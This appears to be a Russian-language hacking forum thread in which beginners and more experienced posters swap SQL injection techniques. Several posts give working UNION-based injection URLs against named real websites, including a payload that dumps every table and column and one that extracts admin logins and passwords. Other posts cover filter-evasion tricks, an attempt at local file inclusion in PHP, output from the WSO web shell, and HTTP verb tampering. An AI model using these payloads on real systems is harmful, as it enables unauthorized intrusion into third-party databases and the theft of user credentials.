всем привет. я пока что новичок в sql уязвимостях, так вот никак не получается вывести столбцы из таблицы users Code: http://versos.ru/allautors/verso.html?id=-27+union+select+1,2,column_name,4,5+ from+information_schema.columns+where+table_name='users'+--+ хотя он и из любой таблицы не выводит... Заранее спасибо.
для того чтобы вывести столбцы, переведи users в хекс, тоисть так должно работать Code: http://versos.ru/allautors/verso.html?id=-27+union+select+1,2,column_name,4,5+ from+information_schema.columns+where+table_name=0x7573657273+--+ 0х7573... без пробела!!!
чем отличаеться функция include от функции require к примеру есть ли тут уязвимость хотя бы LFI с учетом того что PHP версии 5.3 PHP: function included () { $config = $GLOBALS['part']['included']; require(PATH . '/lib/temp/' . strtolower($conf['part']['included']) . '.php'); }
отличаются тем что, после того как функция require возвращает логический false скрипт останавливает работу фатально, а если include возвращает false то скрипт продолжает работу грубо говоря, если подключаемый файл не найден или путь не верно то require завершит работу скрипта, а в случий include скрипт продолжает работу в твоем примере инклуда нету
а почему нету $conf на самом деле $config это просто моя опечатка другое дело я не знаю как отсечь разширение .php в 5.3 версии ведь не нуль байт ни не его замена с большим количеством на слешей не работают
Или как раскрутить? Раскрутить можно если только возможно чтение и запись файлов, а вместо -10, как я понял вы можете подставить любое слово. Злонамеренный код можно использовать как разделитель.
В строке поиска: Code: ') and false union select 1,2,(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x),4,5,6,7,8,9,10#
не пойму почему дальше не выводится?!?!? Code: ') and false union select 1,2,(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_name!=0x61646d696e5f7573657273)and(0x00)in(@x:=concat(@x,0x3c62723e,id,0x2e,login,0x3a,passwd))))x),4,5,6,7,8,9,10#
AND это не операция сложения, это просто операция объединения выражений. Таким образом 1 and 1=1 означает выражение "если 1 истина И 1 РАВНО 1, то и все выражение истинно." Следовательно, выражение 1 and 1=2 означает "если 1 истина И 1 РАВНО 2, то выражение истинно", но т.к. 1 не равно 2, то все выражение ложно. комментарий с пробелом ставится при многострочных запросах.
Не только при многострочных запросах, но и если переменная, в которую мы инжектим имеет тип string. В этом случае комментарий ставится для отсечения лишней кавычки (')
2.1 Нет, не всегда, только когда запрос многострочный (солидарен с Попугаем). Как варианты, можно обрезать запросы либо нулл-байтом (%00), или знаками комментариев (/* или -- или # в зависимости от версий). 2.2 -- Ставится для обрезания дополнительной части основного запроса. + в этом случае играет роль пробела, то есть комментарий вида +--+ эквивалентен /**/--/**/. Также вместо плюса можно использовать или пробел, или комментарий /**/ или знак табуляции %09 или скобки (0)union(select(1)). Всё зависит от конкретного случая. Точнее от используемой фильтрации. Опять же зачастую бывает, что обрезать комментарием мало, поэтому в конце запроса вместо +--+ ставят +--+1 Одним словом, нужно экспериментировать на практике.
Самый простой, взятый из практики Code: http://sport-razgrom.ru/view_search.php?submit_s=%C8%F1%EA%E0%F2%FC&search=0')union(select(1),(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x),3,4,5,6,7,8)--+ FALSE http://sport-razgrom.ru/view_search.php?submit_s=%C8%F1%EA%E0%F2%FC&search=0')union(select(1),(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x),3,4,5,6,7,8)--+1 TRUE Обнаружение SQL-инъекции = не всегда подстановка кавычек. Проверяется подзапросами Code: id=1+and+1=1 id=1+and+1=2 Разный результат говорит о наличии инъекций... Опять же, способов выявления SQL-инъекций множество. Боже мой, да что я тут распинаюсь, Уважаемый, почитайте мануалы про простейшим инъекциям, азы вам объяснять?? Тут ни у кого нет ни времени, ни желания. Помощь - другое дело.
есть html файл с куском таблицы из wso. тоесть тупо кусок вида Code: 1 столбик / 2 столбик / 3 столбик / 4 столбик/ данные / данные / данные / данные / в исходнике, всё это отображается вот так Code: <table class="main" style="background-color: rgb(41, 41, 41);" width="100%" cellpadding="2" cellspacing="1"><tbody><tr><th>1 столбик</th><th>2 столбик</th><th>3 столбик</th><th>4 столбик</th></tr><tr></tr><tr class="l2"><td>данные</td><td>данные</td><td>данные</td><td>данные</td> мб кто обьяснит, или поможет как спарсить этот кусок до вида Code: 1 столбик/ 2 столбик данные / данные
Может кто-нибудь помощь с HTTP Verb Tampering. Я отправляю PUT, DELETE, OPTIONS и т.д. Но какая польза? Можно ли проникнуть в сайт? Спасибо. P.S. В гугле копал, ничего не нашел про эксплуатацию(кроме обхода VBAAC, Гольцева..)